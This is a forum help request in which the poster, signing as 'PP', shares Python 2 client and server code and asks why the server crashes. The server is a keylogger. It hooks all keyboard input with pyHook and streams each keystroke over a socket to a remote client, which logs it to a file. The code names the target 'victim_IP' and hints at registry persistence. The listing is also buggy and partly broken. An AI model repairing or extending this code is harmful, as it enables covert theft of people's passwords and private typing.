Im trying to make a socket client-server connection to exchange data, but when I try to connect it says that it connected but the server crashes.
Client code:
import socket
import os
import time
def OnKeyboardEvent(event):
if event.Ascii == 27:
print "!Stopped Logging data!"
apen.close()
exit()
# create a hook manager
hm = pyHook.HookManager()
# watch for all keyboard events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
print "PP Logme Beta"
server_IP = raw_input ("please input an IP to connect to \n\n")
host = server_IP
port = 902
addr = (victim_IP, 902)
try:
socket1 = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
socket1.connect(addr)
except socket.error:
print "failure to connect"
time.sleep(5)
exit()
else:
print "connection Made to remote host"
try:
apen = open("logs.txt","a")
except IOError:
print "error loading file"
else:
print "!Logging recived data!"
print
while True:
data = socket1.recv(1024)
print data
apen.write(data)
time.sleep(1)
Server code:
import socket
import time
import pyHook
import pythoncom
try:
socket1 = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
socket1.bind(('', 902))
socket1.listen(5)
conn, addr = socket1.accept()
#regwrite()
except socket.error:
print "error starting server"
time.sleep(3)
exit()
def OnKeyboardEvent(event):
if event.Ascii == 9:
conn.send(" (tab) ")
elif event.Ascii == 8:
conn.send(" (backspace) ")
elif event.Ascii == 1:
conn.send(" (ctrl + a) ")
elif event.Ascii == 2:
conn.send(" (ctrl + B)/> ")
elif event.Ascii == 3:
conn.send(" (ctrl + c) ")
elif event.Ascii == 13:
conn.send("\n")
elif event.Ascii == 4:
conn.send(" (ctrl + d) ")
elif event.Ascii == 5:
conn.send(" (ctrl + e) ")
elif event.Ascii == 32:
conn.send(" ")
elif event.Ascii == 27:
conn.send(" ESC ")
else:
conn.send(event.key)
# create a hook manager
hm = pyHook.HookManager()
# watch for all keyboard events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
Can someone help me?
Thanks in advance!
--PP

New Topic/Question
This topic is locked


MultiQuote




|